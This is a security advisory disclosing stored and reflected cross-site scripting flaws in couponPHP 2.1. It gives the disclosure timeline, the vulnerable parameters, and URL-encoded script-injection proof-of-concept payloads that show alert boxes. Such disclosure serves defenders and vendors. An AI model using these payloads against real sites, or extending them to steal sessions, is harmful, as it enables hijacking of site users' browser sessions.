couponPHP 2.1 Cross Site Scripting

`couponPHP 2.1 Multiple XSS Vulnerabilities  
  
  
[Discussion]  
  
- Bikramaditya Guha advises about the following vulnerability(ies):  
  
  
[Software]  
  
- couponPHP 2.1  
  
  
[Vendor Product Description]  
  
- couponPHP is a content management system (like Wordpress for example) which makes it incredibly   
easy to run your own Coupon and Deal website.  
  
  
- Site: https://couponphp.com/  
  
  
[Advisory Timeline]  
  
- 03/06/2016 -> Vulnerability discovered;  
- 03/06/2016 -> First contact with vendor;  
- 03/06/2016 -> Vendor responds asking for details;  
- 06/06/2016 -> Vulnerability details sent to the vendor;  
- 09/06/2016 -> Follow up with vendor on Patch release date;  
- 13/06/2016 -> No Response from vendor. Advisory Published  
  
  
[Bug Summary]  
  
- Cross Site Scripting (Stored)  
  
- Cross Site Scripting (Reflected)  
  
  
[Impact]  
  
- High  
  
  
[Affected Version]  
  
- couponPHP 2.1   
  
  
[Bug Description and Proof of Concept]  
  
1. Cross Site Scripting (XSS) - Multiple cross-site scripting vulnerabilities were also discovered. The issue is   
triggered when input passed via multiple parameters is not properly sanitized before being returned to the user.   
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.  
https://en.wikipedia.org/wiki/Cross-site_scripting  
  
  
[Proof-of-Concept]  
  
1. Multiple Stored Cross Site Scripting  
  
Parameter:  
title, keywords (POST)  
  
Payload:  
title=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&parent=3&description=&thumbnail=category_2111c7d0dac3871f42e4e78cc0293a1c.jpg&icon=fa-align-center&keywords=%22%3E%3Cscript%3Ealert%283%29%3C%2Fscript%3E&menu=categories_manage&add_category=Add+category  
  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
2. Multiple Reflected Cross Site Scripting  
  
Parameter  
edit, sort (GET)  
  
Payload:  
%22%3E%3Cscript%3Ealert%281%29%3C/script%3E  
  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
  
All flaws described here were discovered and researched by:  
  
Bikramaditya Guha aka "PhoenixX"  
********************************************************************************************************************************************************************************************************************************  
`